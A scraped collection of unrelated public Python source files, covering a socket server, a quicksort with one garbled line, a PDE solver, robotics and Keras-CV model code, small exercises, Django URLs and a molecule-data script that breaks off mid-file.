self._generic_inbox.append(identify_response(packet[\"name\"], *(sock, self.unverified[sock][0])))\n self.unverified[sock] = (self.unverified[sock][0],True)\n else:\n sock.send(packet_encode(NAME_IN_USE_ERROR))\n\n self.unverified = {i: self.unverified[i] for i in self.unverified if not self.unverified[i][1]}\n\n for user in self._inbox:\n if user.socket == sock:\n self._inbox[user].append(packet)\n break\n\n for sock in exceptional:\n # Other end of connection was closed suddenly\n self.disconnect([i for i in self._inbox if i.socket == sock][0])\n\n self.listen_socket.close()\n\n def get_packet(self, sock):\n data = b''\n while len(data) == 0 or data[-1] != b'\\n':\n # newline can only be present if the transmission has ended. This is to assure the entire thing comes through as one.\n # recv timeout would be really cool here.\n tmp = sock.recv(1024)\n data += tmp\n if len(tmp) < 1024:\n break\n\n ret = packet_decode(data)\n\n if ret:\n print(\"In: \", end=\"\")\n print(ret)\n return ret\n # Packet field existance is checked in packet_parse\n\n def add_user(self, user):\n # Called from main engine. Before this, a generic is raised to ask for a name.\n self._inbox[user] = []\n\n def get_unreads(self, user):\n unread = self._inbox[user][:]\n self._inbox[user] = []\n return unread\n\n def get_generics(self):\n unread = self._generic_inbox[:]\n self._generic_inbox = []\n return unread\n\n def send(self, user, packet):\n print(\"Out: \", end=\"\")\n print(packet)\n user.socket.send(packet_encode(packet))\n\n def reply(self, original, reply):\n original[\"socket\"].send(packet_encode(reply))\n\n def broadcast(self, packet):\n for user in self._inbox:\n self.send(user, packet)\n\n def disconnect(self, user):\n user.socket.close()\n del self._inbox[user]\n self.inputs.remove(user.socket)\n","repo_name":"haihala/Critberg-server","sub_path":"util/networking.py","file_name":"networking.py","file_ext":"py","file_size_in_byte":4739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31036148313","text":"#coding=utf-8\n\n\"\"\"\n排序思想:\n快速排序的基本思想是:通过一趟排序将要排序的数据分割成独立的两部分:\n分割点左边都是比它小的数,右边都是比它大的数。\n1.先从数列中取出一个数作为基准数\n2.分区过程,将比这个数大的数全放到它的右边,小于或等于它的数全放到它的左边\n3.再对左右区间重复第二步,直到各区间只有一个数\n例如:\n数据: [35, 61, 82, 21, 93, 16, 64, 87, 98, 66]\n1.选取数据中的第一个数据作为基准数 35\n2.遍历数据,把小于基准数据的放到一个列表中,大于等于基准数的放到另一个列表中\n运行结果为left:[21, 16] right:[61,82,93,64,87,98,66]\n3.递归中重复操作步骤2\n\"\"\"\n\n\nimport sys\nimport os\nimport random\n\n\ndataList = [random.randint(10,100) for x in range(10)]\n\ndef sortfun(_data):\n if len(_data) <= 1:\n return _data\n else:\n Temp = _data[0]\n left = [x for x in _data[1:] if x = Temp ]\n LL = sortfun(left)\n LR = sortfun(right)\n return LL + [Temp] + LR\n\n\ndef Simple_sort(data)->list:\n dataTemp = data.copy()\n return sortfun(dataTemp)\n\n\ndef main(argc, argv, envp):\n print(\"源数据为: \", dataList)\n sortdata = Simple_sort(dataList)\n print(\"排序后为: \", sortdata)\n\n\n\nif __name__ == \"__main__\":\n main(len(sys.argv), sys.argv, os.environ)","repo_name":"chenganmin2017/Sort","sub_path":"Quick_Sort.py","file_name":"Quick_Sort.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14821008615","text":"\"\"\"\nThis modules contains functions for Poisson PDE solvers.\nYou do not need to change any of the functions here to solve the exercises.\n\"\"\"\nfrom typing import Tuple\nimport numpy as np\nfrom numba import njit\nfrom cli_helper import METHOD_JACOBI, PROBLEM_ZERO, PROBLEM_SIN, TERMINATION_PREC\n\ndef init_calculation_matrices(method: int,\n problem: int,\n matrix_size: int,\n start_corner: Tuple[int],\n end_corner: Tuple[int]):\n \"\"\"Initiaizes the calculation matrices according to the specific problem.\n\n Args:\n method (int): The method to solve since jacobi needs two matrices.\n problem (int): The problem to solve to initialize the matrices.\n matrix_size (int): The total size of the matrix.\n start_corner (Tuple[int]): The start corner of the matrix for the rank.\n end_corner (Tuple[int]): The end corner of the matrix for the rank.\n\n Returns:\n np.ndarray: The allocated and initialized matrices.\n \"\"\"\n sc_dim1, sc_dim2 = start_corner\n ec_dim1, ec_dim2 = end_corner\n dim1 = ec_dim1 - sc_dim1\n dim2 = ec_dim2 - sc_dim2\n\n number_of_matrices = 2 if method == METHOD_JACOBI else 1\n matrices = np.zeros((number_of_matrices, dim1, dim2))\n\n if problem == PROBLEM_ZERO:\n slope = 1.0 / (matrix_size - 1)\n for m_idx in range(number_of_matrices):\n if sc_dim1 == 0:\n matrices[m_idx, 0, :] = np.linspace(-sc_dim2 * slope + 1.0,\n -ec_dim2 * slope + 1.0,\n dim2, endpoint=False)\n if ec_dim1 == matrix_size:\n matrices[m_idx, -1, :] = np.linspace(sc_dim2 * slope,\n ec_dim2 * slope,\n dim2, endpoint=False)\n if sc_dim2 == 0:\n matrices[m_idx, :, 0] = np.linspace(-sc_dim1 * slope + 1.0,\n -ec_dim1 * slope + 1.0,\n dim1, endpoint=False)\n if ec_dim2 == matrix_size:\n matrices[m_idx, :, -1] = np.linspace(sc_dim1 * slope,\n ec_dim1 * slope,\n dim1, endpoint=False)\n return matrices\n\ndef init_disturbance(problem: int,\n matrix_size: int,\n start_corner: Tuple[int],\n end_corner: Tuple[int]):\n \"\"\"Initializes the disturbance (f(x,y)) as a matrix.\n For memory optimization call this function before init_matrices\n Args:\n problem (int): The problem to solve. Use PROBLEM_SIN or PROBLEM_ZERO\n matrix_size (int): The size of the complete matrix.\n start_corner (Tuple[int]): The start corner of the sub matrix for the rank.\n end_corner (Tuple[int]): The end corner of the sub matrix of the rank.\n\n Returns:\n np.ndarray: A matrix with all values filled according to the problem\n specific disturbance function.\n \"\"\"\n sc_dim1, sc_dim2 = start_corner\n ec_dim1, ec_dim2 = end_corner\n dim1 = ec_dim1 - sc_dim1\n dim2 = ec_dim2 - sc_dim2\n\n if problem == PROBLEM_SIN:\n slope = 1.0 / (matrix_size - 1)\n # assuming that we call init_matrices after this, the memory\n # consumption should be fine with this method.\n # If memory is a limitation one should consider to change this\n # to for loops which have a poor performance in python.\n # Since this function is called once, it should not make\n # a big difference anyway.\n x = np.pi * np.linspace(sc_dim1 * slope, ec_dim1 * slope, dim1, endpoint=False)\n y = np.pi * np.linspace(sc_dim2 * slope, ec_dim2 * slope, dim2, endpoint=False)\n X, Y = np.meshgrid(y, x) # note that numpy follows a[y, x]\n disturbance_matrix = 2*np.pi**2*np.sin(X)*np.sin(Y)*slope*slope\n else:\n disturbance_matrix = np.zeros((dim1, dim2))\n return disturbance_matrix\n\ndef init_matrices(method: int,\n problem: int,\n matrix_size: int,\n start_corner: Tuple[int],\n end_corner: Tuple[int]):\n \"\"\"Initializes the matrices for calculation and disturbance.\n You can choose a start and end corner to generate sub matrices for the different\n ranks in MPI Applications.\n\n The calculation matrix is of the dimension 1xn1xn2 for the Gauss-Seidel method and\n 2xn1xn2 for the Jacobi method. n1 and n2 are calculatet from the two corners of\n the matrix.\n\n Args:\n method (int): The solver method. Use either METHOD_GAUSS or METHOD_JACOBI\n problem (int): The problem to solve. Use either PROBLEM_ZERO or PROBLEM_SIN\n matrix_size (int): The complete size of the matrix.\n start_corner (Tuple[int]): The start corner of the matrix.\n end_corner (Tuple[int]): The end corner of the matrix.\n\n Returns:\n (np.ndarray, np.ndarray): The calculation matrix and the matrix of the disturbance.\n \"\"\"\n disturbance_matrix = init_disturbance(problem,\n matrix_size,\n start_corner,\n end_corner)\n calculation_matrix = init_calculation_matrices(method,\n problem,\n matrix_size,\n start_corner,\n end_corner)\n return calculation_matrix, disturbance_matrix\n\n@njit\ndef iterate(matrices, matrix_in, matrix_out, disturbance_matrix, termination, iteration):\n \"\"\"Runs one iteration of the moving differentiation star.\n\n Args:\n matrices (np.ndarray): The calculation matrices\n matrix_in (int): The index of the input matrix\n matrix_out (int): The index of the output matrix\n disturbance_matrix (np.ndarray): The disturbance matrix.\n termination (int): The type of ther termination.\n Use TERMINATION_ITER or TERMINATION_PREC\n iteration (int): The current iteration.\n\n Returns:\n float: The maximum of the residuum. (A value for the error.)\n Is 0 for all iterations beside the last one for TERMINATION_ITER\n \"\"\"\n maxresiduum = 0\n dim_x, dim_y = matrices[matrix_in].shape\n for idx in range(1, dim_x - 1):\n for idy in range(1, dim_y - 1):\n star = 0.25 * (matrices[matrix_in, idx - 1, idy] +\n matrices[matrix_in, idx + 1, idy] +\n matrices[matrix_in, idx, idy - 1] +\n matrices[matrix_in, idx, idy + 1])\n\n star = star + disturbance_matrix[idx, idy]\n\n if termination == TERMINATION_PREC or iteration == 1:\n residuum = np.abs(matrices[matrix_in, idx, idy] - star)\n maxresiduum = residuum if residuum > maxresiduum else maxresiduum\n\n matrices[matrix_out, idx, idy] = star\n return maxresiduum\n\n@njit\ndef iterate_checkerboard(matrix, disturbance_matrix, termination, iteration, offset):\n \"\"\"Runs one iteration of the moving differentiation star.\n\n Args:\n matrix (np.ndarray): The calculation matrix\n disturbance_matrix (np.ndarray): The disturbance matrix.\n termination (int): The type of ther termination.\n Use TERMINATION_ITER or TERMINATION_PREC\n iteration (int): The current iteration.\n offset (int): offset of first column\n\n Returns:\n float: The maximum of the residuum. (A value for the error.)\n Is 0 for all iterations beside the last one for TERMINATION_ITER\n \"\"\"\n maxresiduum = 0\n dim_x, dim_y = matrix.shape\n for idx in range(1, dim_x - 1):\n for idy in range(1 + (offset + idx)%2, dim_y - 1,2):\n star = 0.25 * (matrix[idx - 1, idy] +\n matrix[idx + 1, idy] +\n matrix[idx, idy - 1] +\n matrix[idx, idy + 1])\n\n star = star + disturbance_matrix[idx, idy]\n\n if termination == TERMINATION_PREC or iteration == 1:\n residuum = np.abs(matrix[idx, idy] - star)\n maxresiduum = residuum if residuum > maxresiduum else maxresiduum\n\n matrix[idx, idy] = star\n return maxresiduum","repo_name":"YannickRuske/CodeSamples","sub_path":"ComputingCourseExample/pde_lib.py","file_name":"pde_lib.py","file_ext":"py","file_size_in_byte":8640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71846182615","text":"import os\n\nfrom dm_control import mujoco\n\nimport safe_adaptation_gym.consts as c\n\n\nclass Robot:\n \"\"\" Simple utility class for getting mujoco-specific info about a robot \"\"\"\n\n def __init__(self, path):\n self.base_path = os.path.join(c.BASE_DIR, path)\n self.sim = mujoco.Physics.from_xml_path(self.base_path)\n self.sim.forward()\n\n # Needed to figure out z-height of free joint of offset body\n self.z_height = self.sim.named.data.xpos['robot'][2]\n # Get a list of geoms in the robot\n self.geom_names = set([\n n for n in self.sim.named.data.geom_xpos.axes.row.names if n != 'floor'\n ])\n # Needed to figure out the observation spaces\n self.nq = self.sim.model.nq\n self.nv = self.sim.model.nv\n # Needed to figure out action space\n self.nu = self.sim.model.nu\n # Needed to figure out observation space\n self.hinge_pos_names = []\n self.hinge_vel_names = []\n self.ballquat_names = []\n self.ballangvel_names = []\n self.sensor_dim = {}\n\n for name in self.sim.named.model.sensor_objtype.axes.row.names:\n self.sensor_dim[name] = self.sim.named.model.sensor_dim[name]\n sensor_type = self.sim.named.model.sensor_type[name]\n if self.sim.named.model.sensor_objtype[name] == mujoco.mjtObj.mjOBJ_JOINT:\n joint_id = self.sim.named.model.sensor_objid[name]\n joint_type = self.sim.model.jnt_type[joint_id]\n if joint_type == mujoco.mjtJoint.mjJNT_HINGE:\n if sensor_type == mujoco.mjtSensor.mjSENS_JOINTPOS:\n self.hinge_pos_names.append(name)\n elif sensor_type == mujoco.mjtSensor.mjSENS_JOINTVEL:\n self.hinge_vel_names.append(name)\n else:\n raise ValueError(\n 'Unrecognized sensor type {} for joint'.format(sensor_type))\n elif joint_type == mujoco.mjtJoint.mjJNT_BALL:\n if sensor_type == mujoco.mjtSensor.mjSENS_BALLQUAT:\n self.ballquat_names.append(name)\n elif sensor_type == mujoco.mjtSensor.mjSENS_BALLANGVEL:\n self.ballangvel_names.append(name)\n elif joint_type == mujoco.mjtJoint.mjJNT_SLIDE:\n # Adding slide joints is trivially easy in code,\n # but this removes one of the good properties about our observations.\n # (That we are invariant to relative whole-world transforms)\n # If slide joints are added we sould ensure this stays true!\n raise ValueError('Slide joints in robots not currently supported')\n","repo_name":"lasgroup/safe-adaptation-gym","sub_path":"safe_adaptation_gym/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":2466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"44157764009","text":"# Day 12\n# -----\n# Project: Guessing Game\n\n\nimport random\nfrom typing import NoReturn\nfrom art import logo\n\nEASY_LEVEL_ATTEMPTS = 10\nHARD_LEVEL_ATTEMPTS = 5\n\ndef set_difficulty():\n if input('Choose a difficulty. Type \"easy\" or \"hard\": ') == 'easy':\n return EASY_LEVEL_ATTEMPTS\n else:\n return HARD_LEVEL_ATTEMPTS\n\ndef compare_answer(guess, answer, attempts):\n if guess == answer:\n print('You win!!')\n return None\n elif guess > answer:\n print('Too high.')\n else:\n print('Too low')\n\n return attempts - 1\n\ndef guessing_game():\n print(logo)\n\n print('Welcome to the Number Guessing Game!')\n print('I\\'m thinking of a number between 1 and 100.')\n answer = random.randint(1,101)\n\n attempts = set_difficulty()\n\n guess = 0\n while guess != answer:\n print(f'You have {attempts} remaining to guess the number.')\n\n guess = int(input('Make a guess: '))\n attempts = compare_answer(guess, answer, attempts)\n\n if attempts == 0:\n print('You\\'ve run out of guesses, you lose.')\n return\n\nguessing_game()\n","repo_name":"julio-nf/python-100days-projects","sub_path":"12/guessing_game.py","file_name":"guessing_game.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73170634133","text":"\"\"\"test_proj URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom shop.rest import router\nfrom django.urls import path, re_path, include\nfrom shop import views\nfrom django.conf.urls.static import static\nfrom test_proj import settings\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n url(r'^cart/', include('cart.urls', namespace='cart')),\n url(r'^create/$', views.order_create, name='order_create'),\n path('', views.Index.as_view()),\n path('api/', include(router.urls)),\n path('login', views.Login.as_view(), name='login'),\n path('logout', views.Logout.as_view(), name='logout'),\n path('reset-password', views.ResetPassword.as_view(), name='reset-password'),\n path('registration', views.Registration.as_view(), name='registration'),\n path('products', views.ProductsPage.as_view(), name='products'),\n path('about-us', views.AboutPage.as_view(), name='about-us'),\n path('contacts', views.ContactsPage.as_view(), name='contacts'),\n path('category/', views.CategoriesView.as_view(), name='category'),\n path('products/', views.Product.as_view(), name='product'),\n path('', views.Index.as_view(), name='index'),\n path('feed/', views.Feed.as_view(), name='new'),\n path('account/', views.AccountPage.as_view(), name='account')\n]\n\nif settings.DEBUG:\n urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"feedcase/test_proj","sub_path":"test_proj/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17558320262","text":"class car():\n\tdef __init__(self,newwheelnum,newcolor):\n\t\tself.wheelnum = newwheelnum\n\t\tself.color = newcolor\n\n\n\tdef move(self):\n\t\tprint('车在跑,目标:澳门')\n\nmsld = car(5,'read')\nprint('车的颜色为:%s'%msld.color)\nprint('车轮胎的数量:%s'%msld.wheelnum)\n\nprint('内存地址:',id(msld))\n","repo_name":"mahuanli/1807-2","sub_path":"03day/01-玛莎拉蒂.py","file_name":"01-玛莎拉蒂.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"24244726970","text":"from pymongo import MongoClient\r\n\r\nCONN = MongoClient('127.0.0.1', 27017)\r\nDB = CONN.mfw0725\r\n\r\n\r\nclass DealAreaPathsToTxt(object):\r\n def __init__(self):\r\n self.data_list = DB['scene_area'].find({})\r\n\r\n def deal_area_paths(self, area_paths):\r\n line_str = ''\r\n for index, lat_lng in enumerate(area_paths):\r\n line_str = line_str + str(index) + ' ' + str(lat_lng['lng']) + ' ' + str(lat_lng['lat']) + ' 1.#QNAN 1.#QNAN' + '\\n'\r\n return line_str\r\n\r\n def run(self):\r\n with open(r'F:\\mfw\\scene_area_new.txt','w+',encoding='utf-8') as f:\r\n f.write('Polygon\\n')\r\n for area_index, data in enumerate(self.data_list):\r\n f.write(str(data['area_id'])+' '+'0\\n')\r\n line_str = self.deal_area_paths(data[\"area_paths\"])\r\n f.write(line_str)\r\n f.write('END')\r\n f.close()\r\n\r\nif __name__ == '__main__':\r\n daptt = DealAreaPathsToTxt()\r\n daptt.run()\r\n","repo_name":"zhixing121/mfw","sub_path":"mafengwo/deal_paths.py","file_name":"deal_paths.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5865439089","text":"from keras_cv.api_export import keras_cv_export\nfrom keras_cv.backend import keras\nfrom keras_cv.backend import ops\nfrom keras_cv.models.segmentation.segment_anything.sam_layers import (\n RandomFrequencyPositionalEmbeddings,\n)\n\n\n@keras_cv_export(\"keras_cv.models.SAMPromptEncoder\", package=\"keras_cv.models\")\nclass SAMPromptEncoder(keras.layers.Layer):\n \"\"\"Prompt Encoder for the Segment Anything Model (SAM).\n\n The prompt encoder generates encodings for three types of prompts:\n\n - Point prompts: Points on the image along with a label indicating whether\n the point is in the foreground (part of the mask) or in the background\n (not a part of the mask).\n - Box prompts: A batch of bounding boxes with format [(x1, y1), (x2, y2)]\n used to determine the location of the masks in the image.\n - Masks: An input mask can be passed to refine the positional embeddings\n for the output mask.\n\n First, the point prompts and box prompts are concatenated and positional\n encodings are generated using random spatial frequencies. A point is\n represented as the sum of a positional encoding of the point's location\n and one of two learned embeddings that indicate if the point is either in\n the foreground or background. A box is represented by an embedding pair:\n\n (1) the positional encoding of its top-left corner summed with a learned\n embedding representing \"top-left corner\" and\n (2) the same structure but using a learned embedding indicating\n \"bottom-right corner\".\n\n The box and point encodings are referred to as \"sparse encodings\"\n\n If a mask prompt is passed, a convolutional neural net is used to\n downscale it to generate \"dense encodings\". If no mask prompt is passed,\n an embedding layer is used instead to generate a \"no mask\" embedding.\n\n Args:\n embed_dim (int, optional): The number of features in the output\n embeddings. Defaults to `256`.\n image_embedding_size (int, optional): The number of features in the\n image embeddings generated by an image encoder. Defaults to\n `(64, 64)`.\n input_image_size (tuple[int], optional): A tuple of the height and\n width of the image being prompted. Defaults to `(1024, 1024)`.\n mask_in_chans (int, optional): The number of channels of the mask\n prompt. Defaults to `16`.\n activation (str, optional): The activation to use in the mask\n downscaler neural net. Defaults to `\"gelu\"`.\n\n References:\n - [Segment Anything paper](https://arxiv.org/abs/2304.02643)\n - [Segment Anything GitHub](https://github.com/facebookresearch/segment-anything)\n \"\"\" # noqa: E501\n\n def __init__(\n self,\n *,\n embed_dim=256,\n image_embedding_size=(64, 64),\n input_image_size=(1024, 1024),\n mask_in_chans=16,\n activation=\"gelu\",\n **kwargs\n ):\n super().__init__(**kwargs)\n self.embed_dim = embed_dim\n self.image_embedding_size = image_embedding_size\n self.input_image_size = input_image_size\n self.mask_in_chans = mask_in_chans\n self.activation = activation\n\n self.positional_embedding_layer = RandomFrequencyPositionalEmbeddings(\n num_positional_features=self.embed_dim // 2, scale=1\n )\n\n self.foreground_point_embed = keras.layers.Embedding(\n 1, embed_dim, name=\"foreground_point_embed\"\n )\n self.background_point_embed = keras.layers.Embedding(\n 1, embed_dim, name=\"background_point_embed\"\n )\n self.top_left_corner_embed = keras.layers.Embedding(\n 1, embed_dim, name=\"top_left_corner_embed\"\n )\n self.bottom_right_corner_embed = keras.layers.Embedding(\n 1, embed_dim, name=\"bottom_right_corner_embed\"\n )\n self.not_a_point_embed = keras.layers.Embedding(\n 1, embed_dim, name=\"not_a_point_embed\"\n )\n\n self.mask_downscaler = keras.models.Sequential(\n [\n keras.layers.Conv2D(\n mask_in_chans // 4, kernel_size=2, strides=2\n ),\n keras.layers.LayerNormalization(epsilon=1e-6),\n keras.layers.Activation(activation),\n keras.layers.Conv2D(mask_in_chans, kernel_size=2, strides=2),\n keras.layers.LayerNormalization(epsilon=1e-6),\n keras.layers.Activation(activation),\n keras.layers.Conv2D(embed_dim, kernel_size=1),\n ],\n name=\"mask_downscaler\",\n )\n self.no_mask_embed = keras.layers.Embedding(\n 1, embed_dim, name=\"no_mask_embed\"\n )\n\n def build(self, input_shape=None):\n self.positional_embedding_layer.build()\n for layer in [\n self.foreground_point_embed,\n self.background_point_embed,\n self.top_left_corner_embed,\n self.bottom_right_corner_embed,\n self.not_a_point_embed,\n self.no_mask_embed,\n ]:\n layer.build([None])\n self.mask_downscaler.build(\n [\n None,\n 4 * self.image_embedding_size[0],\n 4 * self.image_embedding_size[1],\n 1,\n ]\n )\n self.built = True\n\n def compute_output_shape(self, input_shape):\n return {\n \"sparse_embeddings\": [None, None, self.embed_dim],\n \"dense_embeddings\": [\n None,\n self.image_embedding_size[0],\n self.image_embedding_size[1],\n self.embed_dim,\n ],\n \"dense_positional_embeddings\": [\n None,\n self.image_embedding_size[0],\n self.image_embedding_size[1],\n self.embed_dim,\n ],\n }\n\n def __embed_points(self, points, labels):\n points = points + 0.5\n indices = ops.arange(1, dtype=\"int32\")\n\n point_embeddings = self.positional_embedding_layer.encode_coordinates(\n points, self.input_image_size\n )\n labels = ops.broadcast_to(\n labels[..., None], ops.shape(point_embeddings)\n )\n point_embeddings = ops.where(\n labels == 0,\n point_embeddings + self.background_point_embed(indices),\n point_embeddings + self.foreground_point_embed(indices),\n )\n point_embeddings = ops.where(\n labels == -1,\n self.not_a_point_embed(indices),\n point_embeddings,\n )\n return point_embeddings\n\n def __embed_box(self, box):\n shape = ops.shape(box)\n B, N = shape[0], shape[1]\n box = box + 0.5\n indices = ops.arange(1, dtype=\"int32\")\n corner_embedding = self.positional_embedding_layer.encode_coordinates(\n box, self.input_image_size\n )\n top_left_embedding = corner_embedding[\n :, :, 0, :\n ] + self.top_left_corner_embed(indices)\n bottom_right_embedding = corner_embedding[\n :, :, 1, :\n ] + self.bottom_right_corner_embed(indices)\n corner_embedding = ops.stack(\n [top_left_embedding, bottom_right_embedding], axis=2\n )\n return ops.reshape(corner_embedding, (B, N * 2, self.embed_dim))\n\n def __embed_mask(self, mask):\n mask_embedding = self.mask_downscaler(mask)\n return mask_embedding\n\n def call(self, inputs):\n # Get the batch shape based on any arbitrary input, because batch\n # shapes must all match.\n B = ops.shape(next(iter(inputs.values())))[0]\n\n points = inputs.get(\"points\", ops.zeros((B, 0, 2)))\n labels = inputs.get(\"labels\", ops.zeros((B, 0)))\n box = inputs.get(\"boxes\", ops.zeros((B, 0, 2, 2)))\n mask = inputs.get(\"masks\", ops.zeros((B, 0, 256, 256, 1)))\n\n # Compute point embeddings\n point_embeddings = self.__embed_points(points, labels)\n\n # Compute box embeddings\n box_embeddings = self.__embed_box(box)\n\n # Concatenate both into a sparse embeddings tensor\n sparse_embeddings = ops.concatenate(\n [point_embeddings, box_embeddings], axis=1\n )\n\n # Compute the mask embeddings\n _no_mask_embed = lambda: (\n ops.broadcast_to(\n ops.reshape(\n self.no_mask_embed(ops.arange(1, dtype=\"int32\")),\n (1, 1, 1, self.embed_dim),\n ),\n shape=(\n B,\n self.image_embedding_size[0],\n self.image_embedding_size[1],\n self.embed_dim,\n ),\n )\n )\n\n def _maybe_input_mask_embed():\n # Keras Core passes the masks as concrete tensors for both the\n # true and false functions to build the output shape. So, we\n # need to handle the case when 0 size mask is passed and\n # dispatch the call to `_no_mask_embed`. Note that we can't call\n # the lambda directly since the inputs are bound to different\n # values when called with concrete values.\n if mask.shape[1] == 0:\n return ops.broadcast_to(\n ops.reshape(\n self.no_mask_embed(ops.arange(1, dtype=\"int32\")),\n (1, 1, 1, self.embed_dim),\n ),\n shape=(\n B,\n self.image_embedding_size[0],\n self.image_embedding_size[1],\n self.embed_dim,\n ),\n )\n shape = ops.shape(mask)\n BM, N, H, W, C = shape[0], shape[1], shape[2], shape[3], shape[4]\n return self.__embed_mask(ops.reshape(mask, (BM * N, H, W, C)))\n\n dense_embeddings = ops.cond(\n ops.equal(ops.size(mask), 0),\n _no_mask_embed,\n _maybe_input_mask_embed,\n )\n\n # Compute the dense positional embeddings\n dense_positional_embeddings = (\n self.positional_embedding_layer.encode_image(\n self.image_embedding_size\n )[None, ...]\n )\n\n return {\n \"sparse_embeddings\": sparse_embeddings,\n \"dense_embeddings\": dense_embeddings,\n \"dense_positional_embeddings\": dense_positional_embeddings,\n }\n\n def get_config(self):\n config = super().get_config()\n config.update(\n {\n \"embed_dim\": self.embed_dim,\n \"image_embedding_size\": self.image_embedding_size,\n \"input_image_size\": self.input_image_size,\n \"mask_in_chans\": self.mask_in_chans,\n \"activation\": self.activation,\n }\n )\n return config\n","repo_name":"keras-team/keras-cv","sub_path":"keras_cv/models/segmentation/segment_anything/sam_prompt_encoder.py","file_name":"sam_prompt_encoder.py","file_ext":"py","file_size_in_byte":10917,"program_lang":"python","lang":"en","doc_type":"code","stars":857,"dataset":"github-code","pt":"67"} +{"seq_id":"73811280213","text":"N = int(input())\nS = str(input())\nans = 0\n\ni = 0\nwhile i < len(S):\n #S[i] != S[i+1]となるiを見つける\n j = i + 1\n while j < len(S) and S[i] == S[j]:\n j += 1\n i = j\n ans += 1\nprint(ans)","repo_name":"carbscountry/atcoder_practice","sub_path":"5-4/Slimes/Slimes.py","file_name":"Slimes.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21445722723","text":"import tensorflow as tf\nimport pandas as pd\nimport math\nimport numpy as np\nimport pickle as pk\nfrom rdkit import Chem\nimport multiprocessing\nfrom subprocess import call\n\nfrom sklearn.model_selection import train_test_split\ndata_path_prefix = \"../data_3_0/\"\n\natom_vector_size = 128\nprediction_vector_size = 1\nnum_atoms = 30\n\nclass molecule_data_wrapper:\n def __init__(self):\n self.molecule_structures = {}\n self.columb_matrices = {}\n self.distance_matrices = {}\n try:\n print(\"Reading molecule structures\")\n with open(data_path_prefix + \"molecule_composition_data.pkl\", 'rb') as f:\n self.molecule_structures = pk.load(f)\n print(\"Done Reading molecule structures\")\n except:\n print(\"error atom\")\n print(\"Running ReadAtomProperties this will take a while\")\n call([\"python\", \"ReadAtomProperties_3_1.py\"])\n with open(data_path_prefix + \"molecule_composition_data.pkl\", 'rb') as f:\n self.molecule_structures = pk.load(f)\n try:\n print(\"Reading Coulomb_mat\")\n with open(data_path_prefix + \"coulomb_mat.pkl\", 'rb') as f:\n self.columb_matrices = pk.load(f)\n print(\"done reading coulomb mat\")\n except:\n print(\"error coulomb, regenerating matrices\")\n self.genColumbMatrix()\n with open(data_path_prefix + \"coulomb_mat.pkl\", 'rb') as f:\n self.columb_matrices = pk.load(f)\n try:\n print(\"Reading distance_mat\")\n with open(data_path_prefix + \"distance_mat.pkl\", 'rb') as f:\n self.distance_matrices = pk.load(f)\n print(\"done reading distance mat\")\n except:\n print(\"error distance, regenerating matrices\")\n self.genDistanceMatrix()\n with open(data_path_prefix + \"distance_mat.pkl\", 'rb') as f:\n self.distance_matrices = pk.load(f)\n self.train_gen = ExampleGenerator(self, True)\n self.val_gen = ExampleGenerator(self, False)\n def genDistanceMatrix(self):\n distance_matrices = {}\n pt = Chem.GetPeriodicTable()\n for n, molecule in enumerate(self.molecule_structures.keys()):\n if n % 1000 == 0:\n print(n)\n df = self.molecule_structures[molecule]\n num_atoms = len(df)\n matrix = np.empty((num_atoms, num_atoms))\n for i in range(num_atoms):\n for j in range(i + 1):\n if i == j:\n matrix[i][j] = 0\n continue\n r_2 = (df.loc[i, \"x\"] - df.loc[j, \"x\"]) ** 2 + \\\n (df.loc[i, \"y\"] - df.loc[j, \"y\"]) ** 2 + \\\n (df.loc[i, \"z\"] - df.loc[j, \"z\"]) ** 2\n m = math.sqrt(r_2)\n max_bond_length = 1.3 * (pt.GetRcovalent(int(df.loc[i,\"num_protons\"])) +\n pt.GetRcovalent(int(df.loc[j,\"num_protons\"])))\n if m > max_bond_length:\n matrix[i][j] = 0\n matrix[j][i] = 0\n if m < max_bond_length:\n matrix[i][j] = 1\n matrix[j][i] = 1\n distance_matrices[molecule] = matrix\n with open(data_path_prefix + \"distance_mat.pkl\", 'wb') as f:\n pk.dump(distance_matrices, f, pk.HIGHEST_PROTOCOL)\n def genColumbMatrix(self):\n columb_matrices = {}\n if len(columb_matrices) < 130000:\n for n, molecule in enumerate(self.molecule_structures.keys()):\n if n % 1000 == 0:\n print(n)\n df = self.molecule_structures[molecule]\n num_atoms = len(df)\n matrix = np.empty((num_atoms, num_atoms))\n for i in range(num_atoms):\n for j in range(i + 1):\n if i == j:\n matrix[i][j] = 0.5 * df.loc[i, \"num_protons\"] ** 2.4\n continue\n z_x_z = df.loc[i, \"num_protons\"] * df.loc[j, \"num_protons\"]\n r_2 = 